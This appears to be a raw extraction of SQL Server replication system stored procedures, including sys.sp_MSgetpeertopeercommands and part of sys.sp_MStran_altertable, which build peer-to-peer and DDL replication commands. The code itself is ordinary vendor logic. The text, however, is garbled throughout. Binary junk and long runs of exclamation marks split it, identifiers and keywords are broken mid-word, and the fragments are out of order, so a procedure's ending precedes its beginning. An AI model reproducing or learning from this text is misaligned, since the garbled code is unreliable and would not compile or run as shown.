                        select @cmd = @cmd + N' = '' + sys.fn_varbintohexstr(' + @var + N') collate database_default end ' 
                    else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('bit','bigint','int','smallint','tinyint','decimal','numeric'))
                        select @cmd = @cmd + N' = '' + CAST( ' + @var + N' as nvarchar) end ' 
                    else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('float','real'))
                        select @cmd = @cmd + N' = '' + CONVERT(nvarchar(60), ' + @var + N' , 2) end ' 
                    else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('money','smallmoney'))
                        select @cmd = @cmd + N' = '' + CONVERT(nvarchar(40), ' + @var + N' , 2) end ' 
                    else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'uniqueidentifier')
                        select @cmd = @cmd + N' = '''''' + CAST( ' + @var + N' as nvarchar(40)) + '''''''' end ' 
                    else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('datetime','smalldatetime'))
                        select @cmd = @cmd + N' = '''''' + CONVERT(nvarchar(40), ' + @var + N', 112) + N'' '' + CONVERT(nvarchar(40), ' + @var + N', 114) + '''''''' end ' 
                    else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('date','time', 'datetime2', 'datetimeoffset'))
                        select @cmd = @cmd + N' = '''''' + CONVERT(nvarchar(40), ' + @var + N', 121) + '''''''' end ' 
                    else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'sql_variant')
                        select @cmd = @cmd + N' = '' + sys.fn_sqlvarbasetostr( ' + @var + N' ) collate database_default  end ' 
                    else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'xml')
                        select @cmd = @cmd + N' = N'''''' + CAST(' + @var + N' as nvarchar(max)) + '''''''' end ' 
                    else
                        select @cmd = @cmd + N' = '' + CAST( ' + @var + N' as nvarchar) end ' 
                end
                else
                begin
                    --
                    -- scripting for custom procs - static script
                    -- For publisher scripting - use @thiscol
                    -- For custom proc scripting - use @artcol
                    -- For Update custom proc scripting special cases 
                    --  for XCALL - use variation of @artcol
                    --  for VCALL - use @artcol
                    --
                    select @var = case when (@mode in (@modeupdcustprocnonpkxcall,@modeupdcustprocpkonlyxcall)) 
                                                    then @prefix + cast((@artcol + @paramcount/2) as nvarchar(10))
                                                when (@mode in (@moderefreshcursordeclareallkeys, @moderefreshcursordeclarenonpkkeys))
                                                    then @prefix + cast(@thiscol as nvarchar(10)) 
                                                else @prefix + cast(@artcol as nvarchar(10)) end
                    if (@suffix is not null)
                        select @var = @var + @suffix
                    --
                    -- Does the column allow NULLs
                    --
                    if (columnproperty( @tabid , @colname , 'AllowsNull' ) = 1)
                    begin
                        --
                        -- static scripting should handle NULL valued column
                        -- ((<@var> is null and <colname> is null) or (<@var> is not null and <colname> = <@var>)) 
                        --
                        select @cmd = @cmd + N'((' + @var + N' is null and ' + quotename(@colname) + N' is null) or (' 
                                                + @var + N' is not null and ' + quotename(@colname) + N' = ' + @var + N'))' 
                    end
                    else
                    begin
                        --
                        -- static scripting does not need to check for NULL values
                        -- <colname> = <@var>
                        --
                        select @cmd = @cmd + quotename(@colname) + N' = ' + @var
                    end
                    --
                    -- special processing for @modeupdcustprocnonpkvcall, @modeupdcustprocnonpkxcall
                    --
                    if (@mode = @modeupdcustprocnonpkvcall)
                    begin
                        declare @bytepos int
                                    ,@bitpos int
                        select @bytepos = 1 + (@artcol-1) / 8 
                                ,@bitpos = power(2, (@artcol-1) % 8 )
                        select @cmd = @cmd + N' and (( substring(@bitmap,' + cast(@bytepos as nvarchar(10)) 
                                        + N',' + cast(@bytepos as nvarchar(10)) + N') & ' + cast(@bitpos as nvarchar(10)) + N') = ' 
                                        + cast(@bitpos as nvarchar(10)) + N') '
                    end
                    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	O
{\telse if (@mode = @modeupdcustprocnonpkxcall)
                    begin
                        select @cmd = @cmd + N' and ' + @prefix + cast((@artcol + @paramcount/2) as nvarchar(10))
                        if (@suffix is not null)
                            select @cmd = @cmd + @suffix
                        select @cmd = @cmd + N' != ' + @prefix + cast(@artcol as nvarchar(10))
                        if (@suffix is not null)
                            select @cmd = @cmd + @suffix
                    end
                end
                --
                -- transfer command string to table if too large
                --
                if (len(@cmd) > 3000)
                    exec sp_MSflush_command @cmd output, 1, 0                
            end            
            --
            -- get the next key for the index
            --
            select @indkey = @indkey + 1
        end
        --
        -- done with current index
        --
        if (@findexstarted = 1)
        begin
            select @findexstarted = 0
                    ,@cmd = case when (@mode in (@modecompensatingallkeys, @modecompensatingnonpkkeys, @modecompensatingpkonly)) 
                                        then @cmd + N' + '' ) '
                                        else @cmd + N' ) ' end
        end
        --
        -- fetch next unique index
        --
        fetch #hcindid into @indid, @is_primary_key
    end
    close #hcindid
    deallocate #hcindid

    if @mode in (@modeinscustproc,@modeupdcustprocnonpkvcall,@modeupdcustprocnonpkxcall) and datalength(@cmd) = @emptywhereclauselength
    begin
        set @cmd = @cmd + N'(0=1)'
    end

    --
    -- Final flush
    --
    if (@mode in (@modecompensatingallkeys, @modecompensatingnonpkkeys, @modecompensatingpkonly))
        select @cmd = @cmd + N''''
    if (len(@cmd) > 0)
        exec sp_MSflush_command @cmd output, 1, 0                
    --
    -- all done
    --
    return 0
end
f
fator, N'''') + 
														N',@originator_db=N' + quotename(@originator_db, N'''') + 
														N',@originator_publication=N' + quotename(@originator_publication, N'''') +
														N',@originator_publication_id=' + cast(@originator_publication_id as nvarchar) + 
														N',@originator_db_version='  + cast(@originator_db_version as nvarchar) + 
														N',@originator_lsn=0x0' +
														N',@originator_version=' + cast(@originator_version as nvarchar) +
														N',@originator_id=' + cast(@originator_id as nvarchar) +
							N' end' +
						  N' else if (@@microsoftversion >= 0x09000000)' + 
						  	N' begin' +
						  		N' exec sys.sp_MSaddpeerlsn @originator=N' + quotename(@originator, N'''') + 
														N',@originator_db=N' + quotename(@originator_db, N'''') + 
														N',@originator_publication=N' + quotename(@originator_publication, N'''') +
														N',@originator_publication_id=' + cast(@originator_publication_id as nvarchar) + 
														N',@originator_db_version='  + cast(@originator_db_version as nvarchar) + 
														N',@originator_lsn=0x0' +
							N' end'
		
		select @command = N' if (@@microsoftversion >= 0x09000000)' + 
							  	N' begin' +
							  		N' exec sys.sp_MSpeertopeerfwdingexec @command=N''' + replace(@command, N'''', N'''''') + N'''' +
															N',@publication=N' + quotename(@originator_publication, N'''') +
							  	N' end'

		if @command is not null
		begin
			if @script_txt is NULL
			begin
				insert into @art_commands values (@min_artid, @command)
			end
			else
			begin
				select @script_txt = @script_txt + @command + N' '
			end
		end

		-- when adding the lsn for the publisher we want to update it 
    	-- to the current snapshot lsn. this is because the snapshot may 
    	-- contain bcp files with data that we will not want to reapply.
    	-- keep in mind that this should only be done for regular snapshot
    	-- and not the auto-nosync case (there are no bcp files for autonosync)
    	-- also do not forward this command since it is only meant to adjust
    	-- the lsn for the case where a bcp file was applied via snapshot.
    	if @script_txt is NULL
    		and UPPER(@originator) = UPPER(@publisher)
    		and @originator_db = @publisher_db
    		and @originator_publication_id = @pubid
    		and @originator_db_version = @publisher_db_version
    	begin
			select @originator_lsn_str = sys.fn_varbintohexstr (@snapshot_lsn)

			select @command = N'if (@@microsoftversion >= 0x09000000)' + 
						  	N' begin' +
						  		N' exec sys.sp_MSupdatepeerlsn @originator=N' + quotename(@originator, N'''') + 
														N',@originator_db=N' + quotename(@originator_db, N'''') +
														N',@originator_publication_id=' + cast(@originator_publication_id as nvarchar) + 
														N',@originator_db_version='  + cast(@originator_db_version as nvarchar) + 
														N',@originator_lsn='  + @originator_lsn_str +
							N' end'

			insert into @art_commands values (@min_artid, @command)
		end
		
	    fetch peer_art_cursor into @originator, @originator_db, @originator_publication,
								@originator_publication_id,	@originator_db_version,	@originator_lsn, @originator_version, @originator_id
    end

    close peer_art_cursor
    deallocate peer_art_cursor
	
	-- return all commands to the client
	if @script_txt is NULL
	begin
		select * 
		   	from @art_commands 
		   	order by id
	end
	
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!k`<(Uvcvfcreate procedure sys.sp_MSgetpeertopeercommands
(
    @publication	sysname,
    @article        sysname = N'all',
    @snapshot_lsn	varbinary(16) 	= NULL,
    @script_txt 	nvarchar(MAX) 	= NULL OUTPUT
)
as
begin
	declare @retcode 					int,
			@publisher 					sysname,
			@publisher_db 				sysname,
			@publisher_db_version		int,
			@is_p2p 					bit,
			@pubid						int,
			@artid						int,
			@current_article		    sysname,
			@dest_table					sysname,
			@dest_owner					sysname,
			@min_artid					int,
			@command					nvarchar(4000),
			@originator					sysname,
			@originator_db				sysname,
			@originator_publication		sysname,
			@originator_publication_id	int,
			@originator_db_version		int,
			@originator_lsn				varbinary(16),
			@originator_lsn_str			varchar(2000),
			@originator_version		int,
			@originator_id				int
	
	declare @OPT_ENABLED_FOR_P2P int

	select @OPT_ENABLED_FOR_P2P = 0x1
	
	declare @art_commands table (artid int NOT NULL, commands nvarchar(4000) collate database_default null, id int identity NOT NULL)
	
    -- Security Check
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return 1
	end
	
   	-- set the publishd and database name
    select @publisher 		= publishingservername(),
    		@publisher_db 	= db_name()
			
	-- Parameter Check:  @publication
    if @publication IS NULL
    begin
        raiserror(14043, 16, -1, '@publication', 'sp_MSgetpeertopeercommands')
        return 1
	end
	
	-- validate @publication
    exec @retcode = sys.sp_validname @publication
    if @@error <> 0 OR @retcode <> 0
    	return 1
    	
    -- get publication metadata
    select @pubid = pubid,
    		@is_p2p = (options & @OPT_ENABLED_FOR_P2P)
    	from syspublications 
    	where name = @publication
    if @pubid is null
    begin
        raiserror (20026, 11, -1, @publication)
        return 1
    end

	-- exit with no error if we are not a PeerToPeer publication
    if @is_p2p = 0
	begin
    	select @script_txt = NULL
		return 0
	end

	-- retrieve the database version 
	exec sys.sp_MSgetdbversion @current_version = @publisher_db_version output
	if @@error <> 0 OR @retcode <> 0
    	return 1
    
	/*
	 * This section creates commands to be posted to the distribution database
	 * that will insert all necessary MSsubscription_articles entries at the
	 * subscriber database. These entries are only used to validate topology,
	 * publication and subscription configurations. The commands should only
	 * be added for the non-database-restore case. Also, keep in mind that 
	 * these commands will not be forwarded throughout the topology...
	 * Remember that we must include extended articles as well (SP, FN, V)
	 */
	declare publication_art_cursor cursor local fast_forward for
		select sa.artid,
				sa.name,
				sa.dest_table,
				isnull(sa.dest_owner, N'dbo')
			from sysextendedarticlesview sa
			where sa.pubid = @pubid
              and (@article = N'all' 
              		or name = @article)
	for read only
	
	open publication_art_cursor

    fetch publication_art_cursor into @artid, @current_article, @dest_table, @dest_owner
								
    while (@@fetch_status <> -1)
    begin
    	select @command = N'if (@@microsoftversion >= 0x09000000)' + 
					  		N' begin' +
    							N' exec sys.sp_MSaddsubscriptionarticles @publisher=N' + quotename(@publisher, N'''')  + 
																		N',@publisher_db=N' + quotename(@publisher_db, N'''')  + 
																		N',@publication=N' + quotename(@publication, N'''')  + 
																		N',@artid=' + cast(@artid as nvarchar)  +
																		N',@article=N' + quotename(@current_article, N'''')  +
																		N',@dest_table=N' + quotename(@dest_table, N'''')  +
																		N',@dest_owner=N' + quotename(@dest_owner, N'''')  +
							N' end'

		-- if this is NOT the first article for this subscription 
		-- (in other words this is an incremental add article) then
		-- we will validate the individual article immediately after
		-- adding it's sub_article meta-data. if this is not the case
		-- (and this is the first article for the sub) then we will
		-- perform one validation that will verify all articles instead
		if @article != N'all'
		begin
			select @command = @command + N' ' +
							N'if (@@microsoftversion >= 0x09000000)' + 
					  		N' begin' +
								N' exec sys.sp_MSdetectinvalidpeersubscription @publisher=N' + quotename(@publisher, N'''')  + 
																			N',@publisher_db=N' + quotename(@publisher_db, N'''')  + 
																			N',@publication=N' + quotename(@publication, N'''')  + 
																			N',@article=N' + quotename(@current_article, N'''')  +
																			N',@dest_table=N' + quotename(@dest_table, N'''')  +
																			N',@dest_owner=N' + quotename(@dest_owner, N'''')  +
																			N',@type=''ADD''' +
					  		N' end'
		end
		
		if @command is not null
		begin
			if @script_txt is NULL
			begin
				insert into @art_commands values (@artid, @command)
			end
			else
			begin
				select @script_txt = @script_txt + @command + N' '
			end
		end

		fetch publication_art_cursor into @artid, @current_article, @dest_table, @dest_owner
    end

    close publication_art_cursor
    deallocate publication_art_cursor

	-- if this is the subscriptions first article then 
	-- we will perform the extensive article checks that
	-- validates the entire publication and it's articles.
	if @article = N'all'
	begin
	    -- now insert a command to verify that after the commands above are applied there
	    -- are no invalid publication/subscription combinations in the subscriber db
	    select @command = N'if (@@microsoftversion >= 0x09000000)' + 
					  		N' begin' +
					  			N' exec sys.sp_MSdetectinvalidpeerconfiguration @publisher=N' + quotename(@publisher, N'''')  + 
																			N',@publisher_db=N' + quotename(@publisher_db, N'''')  + 
																			N',@publication=N' + quotename(@publication, N'''')  + 
							N' end'

		if @command is not null
		begin
			if @script_txt is NULL
			begin
				insert into @art_commands values (@artid, @command)
			end
			else
			begin
				select @script_txt = @script_txt + @command + N' '
			end
		end
	end
	
	/*
	 * This section creates commands to be posted to the distribution database
	 * that will insert all necessary init records into the LSN table.
	 */

	-- retrieve the min artid so that we can use it when posting PeerToPeer 
	-- commands that do not originate from this server/publisherdb/publication
	select @min_artid = min(artid) from sysextendedarticlesview where pubid = @pubid and (@article = N'all' or name = @article)

	-- collect peer to peer lsns for a specific publication meta-data on this 
	-- machine. note that here we use @publication instead of @pubid because the 
	-- @pubid could possibly have a different value at each originator database.
    declare peer_art_cursor cursor local fast_forward for
		select mspl.originator,
				mspl.originator_db,
				mspl.originator_publication,
				mspl.originator_publication_id,
				mspl.originator_db_version,
				mspl.originator_lsn,
				mspl.originator_version,
				mspl.originator_id
			from MSpeer_lsns mspl
			where mspl.originator_publication = @publication
	for read only
	
    open peer_art_cursor

    fetch peer_art_cursor into @originator, @originator_db, @originator_publication,
								@originator_publication_id,	@originator_db_version,	@originator_lsn, @originator_version, @originator_id

    while (@@fetch_status <> -1)
    begin
    	select @originator_lsn_str = sys.fn_varbintohexstr (@originator_lsn)

    		if @originator_id is NULL
    			select @originator_id = 0
    	
		select @command = N'if (@@microsoftversion >= 0x0A000000)' + 
						  	N' begin' +
						  		N' exec sys.sp_MSaddpeerlsn @originator=N' + quotename(@origin!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	Bv~create procedure sys.sp_MStran_altertable 
(
	@qual_object_name nvarchar(512) --owner qualified name			
	,@objid	int
	,@pass_through_scripts nvarchar(max)
	,@target_object_name nvarchar(512) = NULL
)
AS
	set nocount on

	declare @retcode int
			,@temp_ddlcmds nvarchar(max)
			,@subtype int
			,@schema_start_lsn binary(10)
			,@schema_end_lsn binary(10)
			,@dropped_column_counts int
			,@dropped_artcolumn_counts int
			,@break_add_into_singles bit
			,@break_drop_into_singles bit
			,@break_artdrop_into_singles bit
			,@debug_print bit
			,@is_biton bit
			,@is_flushon bit
			,@timestampcol_column_id int
			,@addtimestampcol sysname
			,@addidentitycol sysname
			,@identityNFR bit
			,@operation varchar(16)
			,@mode int
			,@checkpartition_mask int
			,@checkadds_mask int
			,@switch_targettable sysname
			,@switch_targetobjid int
			,@art_objid int
			--enum of constants
			,@subtype_addcolumn int
			,@subtype_dropcolumn int
			,@subtype_altercolumn int
			,@subtype_disabletrigger int
			,@subtype_enabletrigger int
			,@subtype_disabletriggerall int
			,@subtype_enabletriggerall int
			,@subtype_dropconstraint int
			,@subtype_enableconstraint int
			,@subtype_disableconstraint int
			,@subtype_enableconstraintall int
			,@subtype_disableconstraintall int
			,@subtype_addfk int
			,@subtype_addun int
			,@subtype_addchk int
			,@subtype_adddf int
			,@subtype_switch int
			,@include_ddl int
			,@bcp_char int
			,@concurrent_char int
			,@subscription_active int
			,@p2p_option int
			,@p2p_cd_option int = 0x8
			
			--article/subscription property
			,@colname nvarchar(1000)
			,@tran_artid int 
			,@artname nvarchar(1000) 
			,@qual_dest_object nvarchar(1000)
			,@qual_p2p_conflict_table nvarchar(1000) = NULL
			,@schema_option bigint
			,@art_status int
			,@sub_status int
			,@refresh_synctran_procs int
			,@dest_owner nvarchar(1000)
			,@Servername sysname 
			,@DestDB sysname

			--publication property
			,@pubid int 
			,@pubname nvarchar(1000)
			,@sync_method int
			,@replicate_ddl int
			,@tran_pub_options int = 0
			,@OPT_ALLOW_PARTITION_SWITCH int = 0x20
			,@OPT_REPLICATE_PARTITION_SWITCH int = 0x40


	--sp_repladd/dropcolumn sets session context info as such so we 
	--know if we came from there, nothing need to be done
	--in that case since sp_repladd/dropcolumn already handle all the 
	--logic similiar to here.
	exec @retcode = sys.sp_MScheckcontext_bypasswholeddleventbit @is_biton OUTPUT
	if @retcode <>0 or @@ERROR<>0
		return 1
	-- we should by pass
	if @is_biton=1
		return 0

	-- initialize @is_flushon
	select @is_flushon = 0

	--set const, @subtype_dropcolumn should have the smallest const, @subtype_addcolumn should be the biggest
	--so when we order by type desc, addcolumn goes first, dropcolumn goes at the end
	select @include_ddl = 0x1
		,@subtype_addcolumn = 0x1 					--N'ADDCOLUMN'
		,@subtype_altercolumn = 0x2					--N'ALTERCOLUMN'
		,@subtype_addfk = 0x4								--N'ADDREFERENCE'
		,@subtype_addun = 0x8							--N'ADDUNIQUE'
		,@subtype_addchk = 0x10							--N'ADDCHECK'
		,@subtype_adddf = 0x20							--N'ADDDEFAULT'
		,@subtype_disabletrigger = 0x40				--N'DISABLETRIGGER'
		,@subtype_enabletrigger = 0x80				--N'ENABLETRIGGER'
		,@subtype_disabletriggerall = 0x100		--N'DISABLETRIGGER'
		,@subtype_enabletriggerall = 0x200		--N'ENABLETRIGGER'
		,@subtype_dropconstraint = 0x400			--N'DROPCONSTRAINT'
		,@subtype_enableconstraint = 0x800		--N'ENABLECONSTRAINT'
		,@subtype_disableconstraint = 0x1000		--N'DISABLECONSTRAINT'
		,@subtype_enableconstraintall = 0x2000	--N'ENABLECONSTRAINT'
		,@subtype_disableconstraintall = 0x4000	--N'DISABLECONSTRAINT'
		,@subtype_dropcolumn = 0x8000					--N'DROPCOLUMN'
		,@subtype_switch = 0x10000				--N'SWITCH'
		,@subscription_active = 2 
		,@bcp_char = 1
		,@p2p_option = 0x1
		
	--initialize variables
	select @sync_method = 0
		,@retcode = 0
		,@subtype=0
		,@art_status = 0
		,@sub_status = 0
		,@break_add_into_singles = 0
		,@dropped_column_counts = 0
		,@schema_option = 0
		,@timestampcol_column_id = NULL
		,@addtimestampcol = NULL
		,@addidentitycol = NULL
		,@identityNFR = 0
		,@refresh_synctran_procs = 1
		
	if object_id('MSrepl_debug_DDL') is not null
		set @debug_print = 1
	else
		set @debug_print = 0
		
	create table #tran_altertable(id int identity, 
				DDLsubtype sysname collate database_default,
				TableOwner sysname collate database_default,  
				TableName sysname collate database_default, 
				ColumnName sysname collate database_default NULL,
				ColumnAttr sysname collate database_default NULL,
				EnumType int NULL,   
				column_id int NULL,
				check_nocheck sysname collate database_default default N'',
				stmt nvarchar(max) collate database_default NULL,
				reftable nvarchar(max) collate database_default NULL,
				refcollist nvarchar(max) collate database_default NULL, 
				refcolcount int NULL,
				stmtend nvarchar(512) collate database_default NULL,
				inpartition bit default 0)
	if @@ERROR <> 0
	begin
		return 1
	end					

	--set up @temp_ddlcmds to feed to sp_replddlparser, 
	--note this may not be the command we post at the end
	set @temp_ddlcmds = N'ALTER table '
									+ @qual_object_name + N' '
									+ @pass_through_scripts
	if @debug_print = 1
		select 'stage' = 'sp_replddlparser: feed', '@temp_ddlcmds' = @temp_ddlcmds

	insert #tran_altertable ( DDLsubtype, TableOwner, TableName, ColumnName, ColumnAttr ) 
		exec sys.sp_replddlparser @ddlCmd = @temp_ddlcmds

	if @@ERROR <> 0
	begin
		return 1
	end	
--first lets handle all the 'do nothing cases':

	--check on 'alter table enable trigger' only if we have active articles with @schema_option & 0x100 = 0x100
	--note: we can safely do this with trigger, but not so with constraints, as you can add constraints while adding a column
	--note: don't let disble trigger go freely, we need to make sure it does not disable sync_upd trg for updateable publication
	if not exists (SELECT A.artid FROM dbo.sysarticles A 
						join dbo.syssubscriptions S on A.artid = S.artid
						WHERE A.objid = @objid	
						and S.status = @subscription_active  -- active
						and cast(A.schema_option as int) & 256 = 256
					)
		and not exists (select * from #tran_altertable where DDLsubtype <> N'ENABLETRIGGER')
	begin
		return 0
	end

	--if table has no active subscription and DDL does not add/drop column or switch partition,  don't do anything
	--note 'alter column' does not change sysarticlecolumns
	if not exists (SELECT A.artid FROM dbo.sysarticles A 
						join dbo.syssubscriptions S on A.artid = S.artid
						WHERE A.objid = @objid	
						and S.status = @subscription_active  -- active
					)
		and not exists (select * from #tran_altertable where DDLsubtype in( N'ADDCOLUMN', N'DROPCOLUMN', N'ADDCHECK', N'ADDDEFAULT', N'SWITCH'))
	begin
		return 0
	end

	--if adding msrepl_tran_version column to updatable table,  don't do anything
	if 	exists( select * from #tran_altertable ta 
						where ta.ColumnName = 'msrepl_tran_version'
								and ta.DDLsubtype = N'ADDCOLUMN' collate database_default)
		and exists( select * from syspublications sp join sysarticles sar on sp.pubid = sar.pubid
						where (sp.allow_sync_tran = 1 or sp.allow_queued_tran = 1)
								and sar.objid = @objid) 
	begin
		return 0
	end

    -- special case for change tracking ddl
    --   We're only capturing the ALTER TABLE for change tracking, and if the subscriber has not manually
    --   enabled it via alter database, the application will fail here.  Since this is likely the normal case
    --   we'll skip the replication of this particular DDL statement.
    if exists (select * from #tran_altertable 
        where DDLsubtype in (N'ENABLECHANGETRACK', N'DISABLECHANGETRACK'))
    begin
        return 0
    end

 -- NO NEED TO HANDLE ALTER COLUM ADD/DROP SPARSE UNLESS SPARSENESS IS BEING REP!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	Qv~LICATED
	if not exists (SELECT A.artid FROM dbo.sysarticles A 
						join dbo.syssubscriptions S on A.artid = S.artid
						WHERE A.objid = @objid	
						and cast(A.schema_option as bigint) & 0x0000020000000000 = 0x0000020000000000
					)
		and not exists (select * from #tran_altertable where DDLsubtype not in (N'ENABLESPARSE', N'DISABLESPARSE'))
	begin
		return 0
	end


    -- Don't want to replicate alter table rebuild statements
    -- so skip if the DDLsubtype is REBUILDTABLE
    if exists (select * from #tran_altertable
            where DDLsubtype = N'REBUILDTABLE')
    begin
        return 0
    end

	-- Don't want to replicate alter table LOCK_ESCALATION statements
	if exists (select * from #tran_altertable
		where DDLsubtype = N'LOCKESCALATION')
	begin
		-- skip if LOCKESCALATION is the only syntax in DDL
		if not exists (select * from #tran_altertable where DDLsubtype <> N'LOCKESCALATION')
			return 0
		else --otherwise rebuild DDL stmt so we can skip LOCK_ESCALATION
			set @break_add_into_singles = 1
	end


	--If switch partition
	if exists( select * from #tran_altertable ta
						where ta.DDLsubtype = N'SWITCH')
	begin
		select @switch_targettable = ColumnName from #tran_altertable
		select @switch_targetobjid = object_id(@switch_targettable)
		-- If neither table is published, don't do anything
		if not exists (SELECT * FROM dbo.sysarticles 
						WHERE objid = @objid OR objid = @switch_targetobjid)
		begin
			return 0
		end

		-- If any of the publications for the objects in question disallow partition switch, error out
		if exists (select * from sysarticles a join syspublications p on a.pubid = p.pubid
					where (a.objid = @objid or a.objid = @switch_targetobjid) and p.options & @OPT_ALLOW_PARTITION_SWITCH != @OPT_ALLOW_PARTITION_SWITCH)
		begin
			RAISERROR (21867, 16, -1, @qual_object_name)
			return 1
		end

		-- Here we know all publications are set to allow partition switching, we'll do a quick check to see if none of them
		--  are set to replicate the switch, if this is the case then we can just exit. 
		else if not exists (select * from sysarticles a join syspublications p on a.pubid = p.pubid
					where (a.objid = @objid or a.objid = @switch_targetobjid) and p.options & @OPT_REPLICATE_PARTITION_SWITCH = @OPT_REPLICATE_PARTITION_SWITCH)
		begin
			-- allow the switch, but no-op from our side
			return 0
		end

		-- Determine whether or not the target table is in article which has renamed the destination, if so
		--  block the DDL, as we cannot support this with replicate_partition_switch at this time
		if exists (select * from sysarticles sa
			where (dest_table != object_name(objid)
				or dest_owner != object_schema_name(objid))
				and (objid = @objid or objid = @switch_targetobjid))
		begin
			RAISERROR (21868, 16, -1)
			return 1
		end
	end

--second all the rejected cases:
	begin transaction replddl_altertable
	save transaction replddl_altertable
	
	--set the numeric field to represent subtype, hopefully this makes future comparasion faster
	update #tran_altertable set EnumType = case DDLsubtype when N'ADDCOLUMN' then @subtype_addcolumn
																				when N'DROPCOLUMN' then @subtype_dropcolumn
																				when N'ALTERCOLUMN' then @subtype_altercolumn
																				when N'ADDREFERENCE' then @subtype_addfk
																				when N'ADDUNIQUE' then @subtype_addun
																				when N'ADDCHECK' then @subtype_addchk
																				when N'ADDDEFAULT' then @subtype_adddf
																				when N'SWITCH' then @subtype_switch
																				when N'DISABLETRIGGER' then 
																					case len(isnull(ColumnName, '') )
																						when 0 then @subtype_disabletriggerall
																						else @subtype_disabletrigger
																					end
																				when N'ENABLETRIGGER' then 
																					case len(isnull(ColumnName, '') )
																						when 0 then @subtype_enabletriggerall
																						else @subtype_enabletrigger
																					end
																				when N'DROPCONSTRAINT' then @subtype_dropconstraint
																				when N'ENABLECONSTRAINT' then
																					case len(isnull(ColumnName, '') )
																						when 0 then @subtype_enableconstraintall
																						else @subtype_enableconstraint
																					end
																				when N'DISABLECONSTRAINT' then 
																					case len(isnull(ColumnName, '') )
																						when 0 then @subtype_disableconstraintall
																						else @subtype_disableconstraint
																					end
																		end
																		
	if (@@ERROR <> 0)
	begin
		return 1
	end	

	--create a bitmask to represent all operations in this DDL
	select @subtype = sum(distinct EnumType) 	from #tran_altertable

	--find out if we are adding timestamp or if our table has one already
	select @timestampcol_column_id = sc.column_id
				,@addtimestampcol = ta.ColumnName
						from 
						sys.columns sc left outer join #tran_altertable ta on sc.name = ta.ColumnName
						where object_id = @objid 
									and lower(type_name(system_type_id)) = N'timestamp' 

	--find out if we are adding identity column
	select @addidentitycol = ta.ColumnName
				,@identityNFR = ColumnProperty(@objid, ta.ColumnName, 'IsIdNotForRepl') 
						from 
						sys.columns sc join #tran_altertable ta on sc.name = ta.ColumnName
						where object_id = @objid 
									and ColumnProperty(@objid, ta.ColumnName, 'IsIdentity') = 1


	--can't drop msrepl_tran_version from updatable table,  
	--disallow 'alter table disable trigger all' if table belongs to updateable publications
	--disallow 'alter table disable trigger ' on MS trigger added by updateable publication
	if  exists( select * from syspublications sp join sysarticles sar on sp.pubid = sar.pubid
						where (sp.allow_sync_tran = 1 or sp.allow_queued_tran = 1)
								and sar.objid = @objid) 
	begin
		if 	exists( select * from #tran_altertable ta 
						where ta.ColumnName = 'msrepl_tran_version'
								and ta.EnumType = @subtype_dropcolumn)
		begin
	        RAISERROR (21080, 16, -1)
			goto FAILURE
		end

		if 	(@subtype & @subtype_disabletriggerall) > 0
		begin
      		RAISERROR (21812, 16, -1, @qual_object_name)
			goto FAILURE
		end
		else 	if 	(@subtype & @subtype_disabletrigger) > 0
		begin
			select @colname = object_name(sau.sync_upd_trig) from #tran_altertable ta 
						join sysarticleupdates sau on object_id(ta.ColumnName) = sau.sync_upd_trig
						join syspublications sp on sau.pubid = sp.pubid
						join sysarticles sar on sp.pubid = sar.pubid and sau.artid = sar.artid
						where ta.EnumType  = @subtype_disabletrigger
							 and (sp.allow_sync_tran = 1 or sp.allow_queued_tran = 1)
							and sar.objid = @objid
			if @colname is not null
			begin
        		RAISERROR (21813, 16, -1, @colname, @qual_object_name)
				goto FAILURE
			end
			
		end
	end

	-- do not allow add/alter of a timestamp col in P2P 
	-- mode when article will replicate it as binary(8)
	if (@addtimestampcol is not null)
		and exists(select * from syspublications sp join sysarticles sar on sp.pubid = sar.pubid
						where sp.options & @p2p_option = 1 
								and sar.objid = @objid
								and sys.fn_replgetbinary8lodword(schema_option) & 0x00000008 = 0)
	begin
		-- Peer-To-Peer publications do not support replicating timestamp columns as varbinary(8). Adding an article with this option or adding/altering a table to include a timestamp column as varbinary(8) is not allowed.
        RAISERROR (21734, 16, -1)
		goto FAILURE
	end
		
	--per logic in sp_addarticle, NFR identity column can not live in immediate_sync article
	--while identitymanagementoption is 'none'
	--note *auto* articles will force NFR even if column was added without, hence the or logic
	if (@addidentitycol is not NULL) 
		and 
		ex!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	Ț)v~ists (select * from syspublications sp join sysarticles sar on sp.pubid = sar.pubid
						where sp.allow_sync_tran = 1 and sar.objid = @objid
								and sys.fn_replgetbinary8lodword(schema_option) & 0x4 = 0)
		and 
		(@identityNFR = 1
		or --note *auto* articles will force NFR even if column was added without, hence this logic
		exists (SELECT * FROM dbo.sysarticles 
						WHERE objid = @objid	
						and sys.fn_replgetbinary8lodword(schema_option) & 0x4 =0x4)
		 )
	begin
           raiserror (21766, 16, 1, @qual_object_name)
			goto FAILURE
	end

--third all the cases requiring single cmd logic:

